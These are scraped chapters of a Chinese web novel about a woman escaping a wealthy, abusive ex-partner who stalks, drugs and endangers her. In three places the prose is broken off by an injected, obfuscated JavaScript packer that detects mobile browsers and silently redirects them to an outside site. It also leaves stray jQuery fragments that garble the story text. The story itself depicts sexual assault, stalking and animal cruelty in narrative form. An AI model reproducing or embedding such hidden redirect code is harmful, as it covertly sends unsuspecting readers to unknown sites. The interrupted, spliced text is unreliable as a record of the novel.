呼吸仍然近在咫尺,莫昭反手掐住我的腰,话里不容拒绝。我想象着如果换作蓁蓁,她会怎么回答。 “真的?” 一张呆滞的麻木的脸,没有表情。 “找个时间,我们 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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“算不上‘跟踪’,”她迷茫地垂下眼,“就是感觉有人在看……” 空气缄默,宁蓁专门挑了我们独处的时候开口。她听不见四周燃起的大火,我坐在火里,被煎熬着焚烧殆尽。 “当然啦,”我急忙扯了个荒唐的谎,“你长得那么漂亮……大家不看你看谁啊。” 她半信半疑,似乎想靠近,却又落寞地退了回去。 我不想再干了。 当晚,莫昭的车里,我把手机扔了回去。 “至于吗?” 我不说话。他见我哭丧着脸,反而添了丝笑意。“蓁蓁她这两个月精神状态不稳定,问她在寝室里过得怎么样,她也不说,所以才让你帮忙用手机记录……” 莫昭干燥的掌心摩挲着我左肩。 “心理医生嘱咐过不能声张。你做了件好事,筱梦。” “上次你可不是这个态度。” 我抬头盯着他的脸。上次,黑压压的末日般的雨天,他偏过头吻着我,低低地问,你大概也不想被蓁蓁知道我们的关系。 “嗯,我错了,玩笑开得过火。” 这次莫昭眼里写满深情,他和蓁蓁不一样,他的情爱我一秒就读懂。 “别生气了。” 我也不愿再细想。事情已经发生,而且及时止损了。那些天我心惊胆战,论文写不好,书读不进去,准备的pre也连连忘词,她们都说我看起来太累了。 过去吧,快过去吧。我象征性哼了一声,任由他握住我的手。 “最近我一直在学校,指导你们院的学生做竞赛。” “你在做?” 我惊讶转身。提起院里,只有前段时间开启报名的精英挑战赛,主办方是大名鼎鼎的京玉咨询公司。原本我该去试试,但内容太难,碰上这学期课程紧张,我腾不出精力和学长学姐竞争。 “带了组研究生,在校内也算胜券在握。” 我感觉浑身脱力,或许因为遗憾。 “祝你成功。” “会的,”他游刃有余地笑着,“万一在学校碰面,记得别表现出认识我。” 我从他手中抽出手,下了车,飞速离开。他没追上来,当然他也没有理由。失去那层铁皮的保护,我们只能当陌生人。 又过了一周,天逐渐转凉。 我以为一切会像落叶归根一样平静下去,直到那晚,宁蓁湿漉漉地撞开寝室门。 “我的天呐你这是怎么了?” 楠楠冲上去,凌雪紧随其后。我呆坐在桌前,眼睁睁看着湿透的衣服黏在她身上,撑不起她软绵绵的呼吸。 她好像被推进了大海。被谁? 57. 告白.c 我眨眼,眼皮却合不上,就那么紧紧绷着。她冷得苍白,肩膀蜷着缩着,看起来比平时小。她们叽叽喳喳关上门,开始忙前忙后,但没有人真正关心她,否则不会放着她滴水的头发不管。 我想帮她擦干,可是身体一动不动。 秋冬交际的风能把整座城市掀翻,没过两天,她的传闻夹在风里,扩散到学校的每个角落。 「蓁蓁好像被水球砸了」 「什么水球?」 「气球,灌水的气球」 「为啥啊,她和谁有仇?」 「看论坛!」 A大名存实亡的BBS居然吸着她的血复活了。我注册账号点进去,满屏匿名留言,骂她是下贱的拜金女。 污秽的东西直刺眼底。我如芒在背,匆匆合上电脑,过一会儿又忍不住掀起来。 论坛用户顶着随机ID,埋在嬉笑怒骂的面具里,没人知道背后是谁。我点进一个帖子,搭在键盘上的手指徘徊着,触电似的发麻。 「她」 她是我最讨厌的人。 删掉。 「现在」 现在不正是落井下石的好机会吗? 删掉。 「我」 光标闪烁。 「我是」「人文学院的」「她一直」「性格很好」 「你们是不是搞错了」 一连串字符落地,我战战兢兢按下发送。 反正都是胡编乱造,反正莫昭一定也会让我这么做。我没觉得你可怜,也不是对你心怀愧疚,我…… “诶,筱梦你在呀!” 突然,楠楠急冲冲回了寝室,后面跟着凌雪,我立刻抹了把眼睛,锁上电脑。 “刚去打听了,闹事的是经三班的一个女生。” 经济学,和我们同院,不同专业。 “经三班的,”凌雪插嘴,“和人文院八竿子打不着啊。” “难道是……”我心中一顿。 楠楠和我对视一眼,让我先说。 “咨询竞赛。” 话音落下,她语气中染上几分兴奋。“对!我也听说因为这个!她男朋友不是有点来头嘛,也在我们院搞比赛,他姑姑还是婶婶是学校书记,貌似利用关系把经三那组淘汰了……” 我打了个寒战。 “不会吧,那不是高校联合赛吗,书记权力这么大的?” “也是听见他们那边有人传啦。” “还有啥消息?” “就说……一群人忿忿不平扒出信息,知道蓁蓁是他女友,那个女生的同学拱了几句火,说有本事找蓁蓁算账,结果她还真去干了。” “官商勾结的利益网,真复杂啊。我老早就讲,不要跟有钱人纠缠。” “哎筱梦,你怎么不说话。” 我手脚凉到刺骨,只好勉强笑笑,逃命似的爬上我的床。 床帘隔绝了光线,黑暗之中,手机照得我五官狰狞。 「蓁蓁的事你什么时候处理」 莫昭很快回复了我。 「你别管,七天后我和校长面谈」 七天,竟然有零有整。门响了,我揭开床帘一角悄悄往外看,宁蓁漠然站在桌边收拾衣服,脸上挂着空洞的麻木的眼神。 她真的是块木头,是一块冰。 宿舍无人说话,她像冰融化在水里一样消失。 时间变得十分漫长。宁蓁没回过寝室,偶尔有人来敲门打听八卦,屋里剩我一个的时候,我就装听不见打发她们走。一天两天三天五天,终于熬到开会那天。下午,我跑到校长办公室楼下蹲点,堵到事件的元凶。那个女生穿着白卫衣,灰运动裤,皮肤偏黑,头发乱得像海草,那么普通,毫无记忆点的大众脸,毫不出色的身材和身高,放在学校里泯然众人。 我藏在树后看着,忽然笑出声。她哪来的资格欺负蓁蓁?如果蓁蓁是谁都能随便欺负的,那我算什么?难道她自以为和我一样?不会吧,就她,别开玩笑了。 13. 那一刻我有了第二个讨厌的人。 宁蓁回来时似乎疲惫不堪。楠楠凑过去,问出经三班的女生已经被勒令退学的消息。 “你处理得太快了。” 我觉得心里又空了一块。那个人不值得我认真,最好她往后的日子臭名昭著,再抬不起头,但我从没想过她会被退学。 卧室里弥漫着玫瑰香水的气味。莫昭坐在床沿,手臂环绕着我。 “不好么?我担心她连累你们。” 飘窗立着一面镜子,我看见他的手拨弄着我的头发。 连累我们,还是……连累你呢? 退学意味着重新回到高三,再考一遍高考。所谓千军万马过独木桥,这么痛苦折磨的路还要走第二次。对,以莫昭的权力能做到,看来他与书记的关系是真的。 镜子里,男人低头凑近,我脸上逐渐绽开笑容。 “想不到人文学院有好多人帮蓁蓁讲话,看来她在学校人缘不错。” 他眼里闪过一丝玩味。 我没告诉莫昭我也参与了,毕竟我不是想帮她。可既然如此,我的动机是什么? “我和宁蓁谁更好?” 记忆里,这是我第二次问他。一刹那我突然觉得自己很恶心,镜子里的五官被蓝色火焰烧得丑陋无比。为什么我会变成这样?但紧接着,他的吻狂风骤雨一样融化我。来不及想了。 呼吸的空间被急速掠夺,空气包裹着理智一起流失。 “都这样了,还用问?” 他喜欢把问题抛回来,让我想。 “那你到底什么时候和她分手。” “放心,我说到做到。” 莫昭没有正面回答,却送了我一只香奈儿。我已经等了太久,这次,我不再掩饰,正大光明挎着那只包回了宿舍。宁蓁托着下巴,在书桌前发呆,我冲到她面前,故意作出一种居高临下的姿态问: “蓁蓁,好看吗?” 她回过神,怔怔地看了看我。我的心火在烧,绵延不绝,烧到肺 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15264865|163236||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 里析出了杂音,每一次吸气都在痛。 我希望她有所察觉,希望她和我翻脸,甚至希望她现在就捶我一拳。然后我就有理由哭出来,接着去扯她的头发,彻彻底底闹一通…… “……好看。” 可她只是点头夸赞。 蓁蓁,我给过你机会了,是你没把握住。 “因为我配得上,我值得。”我说。 我死撑着,不让眼泪流出来。 “哟,这不是香奈儿经典款吗,怎么你男朋友也这么有眼光?” 凌雪从床上冒出来。我迅速扭头,藏起泛红的眼睛。她一向瞧不起有钱人,也不遮掩话里的揶揄。 “我们寝真是卧虎藏龙啊!”那边,楠楠又没心没肺地添了一句。 我扬起脸,转身,最后一眼看见宁蓁低落的神情。 15. 寒假,莫昭遵守承诺,递来头等舱的机票。我对父母谎称要和室友一起旅行,直接收拾行李离校去机场。目的地不是南半球,临时改为东南亚,他说出于安全考虑,这是对我负责。 热带国家没有冬天。我们住的酒店挨着大海,能望见湛蓝温柔的海浪。 “会游泳么?”他问。 宽大的双人床上,我举着镜子,他正对镜打理胡须和领口。我看着他,意识到我没对他讲过我是海边长大的小孩。 我莫名摇了摇头,忽然察觉我们如此陌生。 “等会儿带你试试冲浪,明天有个饭局,一起吧。” 莫昭对着镜子说。 “好啊。” “中午想吃什么。” “……牛蛙干锅。”我随口说。 他终于抬起眼看向我。 “再说一遍?” “都这么久了,你不知道我喜欢吃牛蛙干锅么。” 我怀疑他是不是真的喜欢我,也反过来怀疑我是不是真的喜欢他。他为什么选择我?因为我是一面镜子,能映出他自己吗? 我起身面向明净的落地窗。几秒钟后,蛊惑的低语扑向耳边。 “现在知道了……” 莫昭从背后紧紧箍住我的腰。酒店内冷气十足,我脊背窜上一阵恶寒。 整个上午,他似乎向我发泄着什么。午后,我们去了海边。五星级酒店加上私人海滩,独享一条海岸线。他帮我涂了防晒霜,手掌在皮肤上游移,在手腕处停下,拉着我走向海里。 被海水浸湿的瞬间,我活了过来。咸咸的海风吹散了玫瑰香味,莫昭的脸浮在水上若隐若现,我往深处走,直到脚底触不到软沙。突然,他甩了一下手,一股力量在我肩上周旋,伴着水流冲出去。刹那间,太阳、沙滩和岸边的建筑通通越来越远。我立刻转了九十度与海岸平行地游。那一刻,我才醒悟,原来当初我在他车里摘下的不是梵克雅宝,而是肮脏发霉的烂果子。原来我早就错了,我胸中的火才是真正支撑着我的东西。我拼命地游,拼命地游,像是拼命偿还过去的所有错误。 他竟然,把我推向离岸流。 58. 雀云 砰—— 玻璃碎了,像汹涌的海水灌入耳膜。 窗外的喧嚣霎时涌进来,车流,鸣笛,急促的潮涌般的呼吸。 她睁大了双眼。 河里悬着天上血红的月,一道影子以枪械的轮廓破开车窗。 晦暗、流动的影。 是他。 “操!” 莫昭瞬间被点炸,飙了句脏话,拳头往方向盘猛砸。 “还不出来?” 温霖抬起手对准第二扇窗。 “破镜重圆”,我说了要让它再碎一次。 砰——! 第三扇,驾驶位车窗,玻璃会碎成雨,狠狠扎进男人的头皮。 他没有理由犹豫。 “你他妈——” 莫昭又骂了一句,手掌捅进控制区,渗出仪表盘上幽绿的光。 车门松动,宁蓁像泼了的水一样扑出去。 得救了。温霖迅速牵起她的手,冰冷地紧紧交握。她在刺耳的心悸中抓住他的气息,杂乱,却又稳定,不再遮掩浑身的锋利。 “想跑……” 背后怪物吐出丝网,黏住她的脚步。温霖回了头,眼神划破浓稠的夜色。 “我什么都知道。” 他蓦然切断男人垂死挣扎的丝线。 这回,轮到莫昭被扼住喉咙。 “你最好别让我报警。” 警告亦是威慑。他加重了指尖的力度,而她的第一反应是反手揪住他衣袖。 “沐沐……沐沐怎么样?” 她牙关不自觉打颤。那男人连他姐姐养的狗都害过…… “在我哥家,暂时没事。” 他们走到有光的地方,街灯与车灯照亮川流不息的夜。 “暂时。” 紧绷的神经快要断裂,但她还是捉住了关键词。 “早晨我们散步的路线上有异物,里面是药,幸好沐沐学过拒食。我最近和我哥换了车,因为之前怀疑有人跟踪,现在想起来不是错觉。” 宁蓁听不真切,好像身体仍然漂在水中。 药,竟然用了药……比巧克力还致命。 “你怎么知道我在这儿。” 她其实不知道自己应该问什么。世界一片模糊,像隔着水雾。思绪游离在外,目光晃荡着,瞥见他手上拎着的破窗器。一把手枪的形状,她曾经在他的车里见过,那时,他说最好没有用上的那天。 “因为你问沐沐在哪。” 交合的掌心分开,温霖把她的手机还过去。对,她都忘了,可他捡回来了。 L.:「沐沐在我哥家」 L.:「师姐在哪里,我有事想当面和你说」 L.:「现在出发去找你好吗」 (通话已取消) (通话已取消) L.:「师姐?」 她向上滑动着屏幕,十数条未读消息,七个未接来电。她询问沐沐的位置后再没回应过,他按捺不住疑心,发疯似的找她。 L.:「你在车上?在往东边走?」 他最后等了一分钟。 L.:「我去找你」 密密麻麻的消息映在瞳孔,宁蓁不可思议地抬起头,看着他。 河水冲淡了猩红的月色。温霖拿出自己的手机,上面开着一个宠物定位app,显示沐沐正在城东河边。 河边,桥上。 手中帆布袋捏得蜷成一团。她伸进底部,摸出一只骨头项圈。 “沐沐有好几个定位器,这只很久不用了,你问它在哪,我才想起刷新一遍位置。” 上次离开他家的时候,沐沐的嘴巴拱进了她的包。 ——它把定位器叼了进去。 慢性创伤时而发作,宁蓁提不起精神整理背包,直到这一刻。 “你……” 她欲言又止。 温霖展示了查看定位的日期,上条记录已经在两个月前。宁蓁眼神颤动,想两个月前是春天还是冬天。她完全信任他,只是觉得太巧了,像个奇迹。询问沐沐源于她绝望无声的哀嚎,最后竟颠倒为温霖寻找她的提示。 所有巧合拼凑在一起,为了某个共同的目的。 街上,噪音变大了,鼻尖嗅到空气里泛着的凉意。世界逐渐清晰起来,她听见温霖明显的呼吸声,看见他黑衬衣上落下深色的水迹。 “你……”她续上刚才的话,“开车来的吗?” 他淋雨了,和再次重逢的那晚一样。 上次为了沐沐,这次为了她。 “开车来不及。” 温霖朝旁边让了一步,露出来往的车流。车灯闪烁,鸣笛声震耳欲聋,车子堵在公路上像坠入流沙般挪动。是啊,来不及的,晚高峰也是莫昭设下的陷阱。 但路肩上支着一辆纯黑的摩托。 他骑着那台冷冽的机械在高速路上顶风穿行。距离发出消息仅仅过去了一个小时,宁蓁想,他肯定超速了。 “你不怕了。” 她指的是他的恐慌症。横穿晚高峰意味着主动被人群淹没,对他来说有点残忍。 温霖又一次握起她的手,上升,按在自己胸口。扑通、扑通、扑通。衣服被她指腹按皱了,宁蓁摸到他强烈鼓动的心跳。 “我怕。” 两人身后掀起喧嚣的声浪。他在示弱,平直的肩膀微微起伏,暴露了恐慌症正在发作。 “所以师姐,能不能答应我……” 长睫毛轻颤着垂下去,如同他的呼吸。 “不要再消失了。” * 宁蓁无法给出承诺。那天她吃了心理医生开的药才睡着,一觉睡到下午,醒来又灌了两听能量饮料。真相已经昭然若揭。冰凉的果味液体流过喉咙,带着一丝辛辣,她一边鼓起脸颊大口吞咽,一边翻弄日历。 气温从八度到二十二摄氏度,春天早该过去了,春天却迟迟不走。 树叶层层叠叠,枝上卧着只珠颈斑鸠。微信列表里蹦出一条公众号新闻,硕大的红底白字:“定了!全体北城人民注意”。 「进入景观施工阶段。建设高端化养老社区,飞琼集团将在山清水秀之地筹备布局新规划……」 宁蓁通常不理睬这种标题党本地讯息。但这次,赤裸裸的谎言被推送到面前。她早该想到了,前些天客厅里停不下来的电影台词已经暗示过,“今天一块钱去买,明天一百块卖出去”。成理输了,莫昭拿下了鸿鹄计划,预计推平山林植被建起钢筋水泥和高尔夫球场。他用移花接木的谎话骗了她,这么迷人的、把人耍得团团转的游戏,他最喜欢。【注1】 窗边飞落两只白头鹎,叫声明亮。今天外面的鸟尤其多。宁蓁捏扁了空饮料罐,打开电脑。她经常注销社交账号,唯独“文字片场”能用得长久。叮,有新的交易记录。除了小唯,她多出一个买家,ID是一串乱码,扫荡了所有上架的文字素材。 「想要你的照片曝光么^-^」 对方写下留言。她盯着屏幕上的字符,心里却涌出一股莫名的亢奋。 她下定主意去见他最后一面。 日落,福缘寺旁。 漫长阶梯下,那个男人再次站在她眼前。 “我知道你会来的。” 莫昭的目光在她身上逡巡,带着笑意,仿佛昨夜的事完全没发生过。宁蓁摆出他最爱的模样,麻木的眼眸,空洞而苍白的脸。 “能不能删了那张照片……” 他们往鹭山深处走,无人的地方,分不清谁领的头。她向莫昭那边凑了凑,抬起单薄的手臂攀上他的手,好像失去他整个人就要被夜风吹散。 暮色渐拢,从天亮到天黑只需要十分钟。 “照片?什么照片?” 莫昭华尾向上勾着,开始装傻。 ——“师姐,我觉得,我们能不能住得近一点。” 昨晚,温霖送她回了家。他其实想问他们能不能住在一起,至少这样可以保证她的安全。 ——“沐沐想你了。” 让沐沐说话是种略显卑鄙的手段,但他已经顾不上再遵守规矩。 可惜宁蓁不能答应。她还有事没做,一件非常重要的事。刚才,温霖帮忙戴上头盔,她揽住他的腰坐在机车后座的时候,她收到了一张照片。 “就是宿舍里那张,你昨天发来的……别发到网上,我什么都答应你。” 宁蓁鼻子酸痛,眼里晕漾着眼泪。这样一定显得很真实。照片的视角源于斜对面的床位,那里住着她的大学室友。是筱梦拍的。为什么,为什么。她抽着鼻尖,努力憋住泪水,两只手恳求般地握住他的手腕。 “嘘,你听。”莫昭空闲的左手卷进她的长发,“那是什么鸟?” 耳边传来尖尖的鸟鸣,唱得没有规律,却很好听。莫昭知道怎么拿捏宁蓁,她的长发,她的脆弱,还有她高中时期的创伤都是明晃晃的弱点。 “是乌鸫。”不知不觉,她噙着泪摸进他衣服的兜里,“记仇的鸟。” 不幸的是,宁蓁也知道他想怎样困住她。 天黑了,灯还未亮,路上人迹罕至。她兴奋得颈侧的脉搏都在抖动。她带了剪刀,穿着长衣长裤和轻便的运动鞋。莫昭又一次死死拽着她的头发不撒手,好,那就扯断。 咔嚓。一剪刀下去,她剪断了长发,连带着他手上一块皮。 “你……!” 莫昭吃痛收手,她当着他的面把那截长发扔进林子里。 “送给乌鸫做窝。” ——“蓁蓁,你见过雀云吗?” 从福缘寺离开之前,安唯拖着行李,仰起头问她。 ——“人们说麻雀齐飞的时候能形成雀云,铺天盖地黑压压的一片,像世界末日一样。” ——“单单麻雀就这么绝望,要是其他种类的鸟也都飞起来会变成什么样?” 说着说着,小唯朝天空伸出手。 ——“好想亲眼看看啊。” 好想,亲眼看看啊。 宁蓁心中默念,与安唯的声音合在一起。 现在就看。现在。 莫昭根本没把她放在眼里。他的手机就躺在衣服外的口袋,防都不防。成理也是这么一蹶不振的,动用保镖隔绝慕容殊身边的男人,却没想过带走她的最后是一群女人。 扔掉头发,宁蓁摸出他的手机,攥紧手心的鸟哨。 跑!向森林里跑!莫昭想拦她但拦不住,天地无光,她记得方向记得路线,只管一路狂奔。跑!朝树最茂盛的地方跑!反正她从小就跑得飞快, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15292790|163236||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 反正她除了奔跑也不剩别的办法。背后脚步声趋近,怪物沉沉地踏着树叶一步一步追过来了。跑!往鸟最多的森林中央跑!然后挤空肺里的所有空气吹响鸟哨! 醒吧!全部醒来!飞起来! ——“第一次见面,我还有点嫌弃呢。” 分别之际,小唯的笑容迎着阳光。 ——“突然说什么他是初恋,莫名其妙,差点就和你吵一顿。但我转身一看,话又咽回去了。” ——“因为你的表情,好像亲眼目睹了犯罪现场啊。” 哨声在森林中重重回荡,惊起一波又一波鸟鸣。刹那间百鸟齐飞,在头上扑朔盘旋。她被脚下的树枝绊倒跪在地上,莫昭的手机亮着光摔了出去。她爬过去捡回来奋力一扔。他不止一部手机,不止一个密码,照片不止一份。想让他销毁没那么容易,那就干脆全都甩开。 小唯说得没错。温霖也告诉了她,“凶手会回到犯罪现场”。第一次,回到大学礼堂。第二次,鹭山山下。林鸟在反光的高楼大厦里晕头转向,撞得发昏。公园并非唯一的事发地,她才是最终的犯罪现场。 宁蓁撑着土地拧过身子,确认莫昭还在追。她笑了出来,膝盖弯着滚起来,迈开双腿。 跑!吹响!她知道小腿折叠跑得最快,她知道用尽全力吹得最响。继续跑!别停下!像狂风中的风滚草,像在海里撞上离岸流那样拼命游拼命呼吸拼命地跑! ——“蓁蓁,你和他分手了吗。” 那是临近毕业时,筱梦最后和她说的话。 为什么用“他”这个字眼?宁蓁一个劲儿告诫自己不要细想。以前,她在学校附近的小巷里看见两个人在车里拥吻。那辆车很熟悉,里面的人也很熟悉。但她麻木得不敢相信。 路筱梦得到她的回答,似乎欣慰地笑了。 ——“分手了啊,那就好……那就好。” 今夜,宁蓁彻底醒了。耳边尽是林鸟拍打着翅膀,尽是结成一团的悲泣似的鸣叫。那个凶手说过混迹商界的人本身即是名片,她大胆地想,毁了他就能保住鹭山。 ——“他们那群人特别迷信,你的八字完全克他。” 寺庙竹林里,慕容殊忧心地握着她的手。 ——“按理说他应该离你远远的,可是为什么又一次次回来找你?蓁蓁,你要自己想清楚。” 迷信。宁蓁见识过,他车上总摆着朝南的兔子。兔子也许代表成理,朝南也许代表消亡。不确定,她猜的,但至少能确认他们热衷于某种仪式。那她就用仪式打败仪式。 “宁、蓁,你他妈给我出来!” 他追得近了,一字一顿地怒吼,声音里都磨出火星。她喘了口气,鸟哨再度抵在唇边。 吹响!跑!还不够快,还不够远!把那个黏腻发霉的怪物狠狠甩在身后!他吸食着她的血当作养分,每次他假装看着她,实则注视着她眼里的他的倒影。所以,跑!再响!再明亮!她不想再坐以待毙。跑!诸多巧合拼凑成今日的结局,时间深深憋了一口气,宇宙的眼睛也观测着,等着她的下一步。跑!尽管前方像梦境,像逃出山谷的洞穴一样黑暗虚无,跑! ——“师姐,原谅我……不能带你走……” 师弟为了她丧失人形,只剩下一滩虚晃的影。 ——“你一个人也可以……” ——“你一个人,也能逃出去……” 没错。我可以逃出魔爪,不仅如此,还要把他的每根手指都折断。 飞吧!所有林鸟,飞!张开翅膀! 她无数次摔倒,疼痛,已经浑身泥泞。不用担心迷路,她会在失去方向的岔路看见那座为妈妈竖下的无名墓。 ——“我姥爷当年死得非常突然……” 清明节过去许久她才去扫墓,那天,她初次提起姥爷的死因。 ——“他死于肺部细菌感染,突然发烧,直接进了ICU。” 鸟哨是因,钝重地结出背后的果。 ——“患病前几天,他用鸟哨帮别人捕了鸟。他年轻的时候就这么谋生,捉鸟,卖给有钱人,赚了不少。” ——“但总有一天要还的。” ——“那是他的诅咒,也是……” 也是我送给莫昭的诅咒。 终于,她奔出森林。 身后鸟鸣不歇。她继续跑着,步履渐沉,呼吸阵阵刺痛。碎发扎进眼角和脖子,肺里的毛细血管破了,每次吸气呼气都反上一股腥甜。她跌跌撞撞把血咽下去,想解开外衣拉链。衣服被污染了,不能再穿,但手已经没有力气了。 忽然,匆匆的脚步随风而至。 “师姐!” 宁蓁听出那是谁。 “别过来!” 她想至少先脱掉这件外套。但温霖没再听话,冲上来直接揽住满身泥土的师姐。结束了,一切都结束了。他用前倾的弧度紧紧抱着她,揉进心脏,仿佛月亮和影子要融为一体。 他总能找到她。 再一次,无论多少次。也许是宿命吧。 怀里弥漫着血的味道,宁蓁艰难地喘着气,缓缓拽住他上衣的边缘。 “我想……重新开始。” 北城的春天既短又长。一刹那,蝉鸣大作。 夏天来了。 (正文完) 59. 是流浪猫干的.5 “最后给你一次机会,说你爱我。” 床边,女人身裹白色浴袍,用毛巾卷起半干的长发。 “少自作多情。” 男人对镜系着领带,唇边流出一抹嗤笑。 “哦哟,不是刚才耍威风的样子啦。”她也懒洋洋地笑,“变脸那么快,当心我生个孩子,分走你一半家产。” 他回过头,眼周抽动几下,眼神像要吃了那女人。 “你也配?陈秘书,别得意忘形。我能看得上你,只是因为你眉眼有几分像宁蓁。” 她反而笑得更欢了,听到天大的笑话似的。 “我看……自作多情的是你吧。” 闹钟响了,提醒商务会议将在三十分钟后举行。莫昭摔开房门,吓得走廊里的酒店服务生一激灵,硬着头皮上前问先生需不需要帮忙。 “不用。” 他若无其事进了电梯,对着轿厢里的镜面继续捻平衣领。陈秘书的讥讽已经成了耳旁风消散了,女人就这样,心眼小,爱争风吃醋,他没时间事事和她计较,反正给点小恩小惠,她自己又贴上来了。 电梯停在一楼。他最后捋了捋额头的发丝,喷上浓重的玫瑰香水。 酒店外,劳斯莱斯幻影已经等候多时,加长的车身宛如棱角分明的黑曜石,折出刺眼的光。 “莫总,这次鸿鹄计划张董肯定站在您这边儿。” 点头哈腰的西装男端着高脚杯给他倒酒。 “我知道。”他说。 西装男讪笑:“我们会拿出诚意全力支持。不过王董就不好说了,毕竟成总那边好事将近。” “成理赢不了的,”莫昭用冰冷的口吻打断,“鹭山被飞琼纳入怀中只是迟早的事。” “是是是……” 他有十足的把握。 这些年,他没少收集成理的把柄。听说那人最近和慕容殊闹了矛盾,都自身难保了,还想着抢莫家碗里的粮,简直痴人说梦。这场战争他不可能输,况且,现在宁蓁也回到他手里。大师说她的八字克他,使运势产生波动,但只要有能力压制她的命脉,他的未来将无往不利。 莫昭接过酒杯,右手玩弄着手机,随意滑掉几个女人的聊天记录,然后敲开她的头像。 「今晚一起吃饭吧,蓁蓁」 * 他不是爱她,而是恨她。 宁蓁十六岁时,莫昭正在海外读大学。休学期间,他偶然路过北城二中,隔着操场的栅栏和围网看见一个女孩在树下吹哨。哨子像根短笛,在她唇边拟出清亮的鸟鸣声。啾啾,啾啾。鸟来了,停在树枝上,仿佛受到她的感召。 “那究竟是……?” “……秘密。” 两个女生离得太远,莫昭透过窸窣的树叶读出她们的唇形。接着,她挽起校服袖口逆风奔跑,跑进幢幢的人影,像要把落日余晖揽入怀中。 他盯着她不停摇晃的高马尾,心中拟出一场游戏。 有意思,我们玩玩欲擒故纵吧。 “老秦,帮我查查那女孩。” 莫昭抬了抬下巴,示意身边的管家。 莫家的生意无孔不入,想拿到一个人的信息很容易。当晚,他就知道了她的名字。宁蓁,自幼失去父亲,目前与母亲一起生活,那手招鸟的哨子是从姥爷那儿学来的把戏。 “十六岁。” 深夜,他的手指摩挲着手机屏幕,对着她的证件照反复放大缩小。 皮肉轻薄的一张脸,不知道哭起来什么样子。 但是十六岁还未成年。他动不了她,否则事情闹大了,海外的学校有权进行遣返。 要不然,毁了她的鸟吧。 宁蓁召唤过五六种鸟,但她最喜欢的那种,好像叫银喉长尾山雀。 猎鸟这事,莫昭瞒着老秦计划了很久。老秦名义上是他的管家,暗地里也负责向父亲汇报他的生活状况。莫家的老幺上面有大哥二姐三哥四姐,而他们又各自属于三个母亲。所以他压抑,他苦闷,他从小爱揪庄园里野兔的耳朵,绑上皮筋,等那双细长的兔耳慢慢坏死,从它们脑袋上掉下来。小动物生命力顽强,一时显不出衰败的颓势。他看着仓皇逃命的兔子想,这不是挺活蹦乱跳吗,没了耳朵,不是也能活吗。 于是他带着网,带着刀,去了宁蓁经常去的公园。 杀死那群银喉长尾山雀时,一股沸腾的热流在全身奔涌。他感到无与伦比的愉悦,比用巧克力毒死二姐的爱犬还要畅快。 从那时起,他爱上了制作鸟类标本。 鸟会飞。这么迷你的小东西,竟然会飞。他都不会,它们凭什么?对了,做成标本吧。活着迟早迎来死亡的一天,但死了,让他亲手挂在墙上,就永生了。 莫昭想,我在帮你们啊。 * 他对宁蓁的恨意缘于她的二十岁。 那年他是独当一面的成年人,三年后的公司掌权者,飞琼集团的名片。有家族托底,有地位,有钱,沾着上流社会的气味,引得声色犬马的诱惑往他身上扑。时间一长,玩乐变得无趣,便想起几年前有个高中生在学校里吹奏鸟哨。叫宁蓁的,是吧。今年她成年了。 他决定去找她。 二十岁的女孩,心防最不设限,短短几句话就能钓她上钩。过了四年,她变得更冷淡,好像眼泪都在那座血腥的公园里哭干了。莫昭正喜欢她这股气质,按着惯性想象她倒在床上会是什么样。 没多久,他带她进了酒吧,一杯杯小甜酒下去,灌得她烂醉如泥。 总统套房里,他特意安排了一面镜子,摆在床边,用沙发支着,清清楚楚照出他们的姿势。他沉醉于镜面里的东西,尤其是他自己。完美的脸,完美的身形,完美的不怒自威的眼神。 宁蓁在他身下迷迷糊糊挣扎。欲拒还迎,他见得多了,她也不例外。他用沉重的身躯压住她,单手解开腰带。男人生来就要征服,男人的腰带注定让女人乖乖摇尾乞怜。【注1】 “唔……这是哪里?” 她费尽全力出了声。 “你说呢。” 莫昭笑着,捏起她下颏。他是第一个登陆新星球的人,踩着未知的土壤插进属于他的旗帜。 宁蓁也笑,满面醺然,眼里还溢着醉意。 她笑起来那么美。 “你好像……一只牛蛙。” 突然,莫昭听见镜子碎了,稀里哗啦。 “你再说一遍?” 他咬牙切齿,嘴里磨出嗡嗡的呕吐声。但宁蓁被酒精淹没,没力气开口了。不会吧?他没听错吧?她居然看了眼旁边的镜子说他是牛蛙? 不是青蛙,不是蝌蚪。是牛蛙。 莫昭浑身战栗,撑起身子,掩饰尴尬一样放声大笑。 牛蛙,哈哈哈,牛蛙。 他萎了,下了床,光着脚在旁边来回踱步,跺得地板咚咚响。宁蓁睡得安详,他怒火中烧,揪起她的衣领狠狠扇了她一巴掌。一次不够两次,三次。她忽然被触动机关似的惊叫起来,几乎把落地窗震破。 吵死了!莫昭不得已停了手,翘着腿陷进沙发里,点了根烟。 十分钟内,一个绝妙的计划跃入大脑。 他要折磨她。总有一天她会后悔说出那句话,跪在地上祈求他原谅。 一小时后,莫昭送宁蓁回了家。他扮作一副好人模样和她母亲攀谈,还递了名贵的烟。她母亲反复说谢谢,谢谢,蓁蓁有你照顾真是放心。 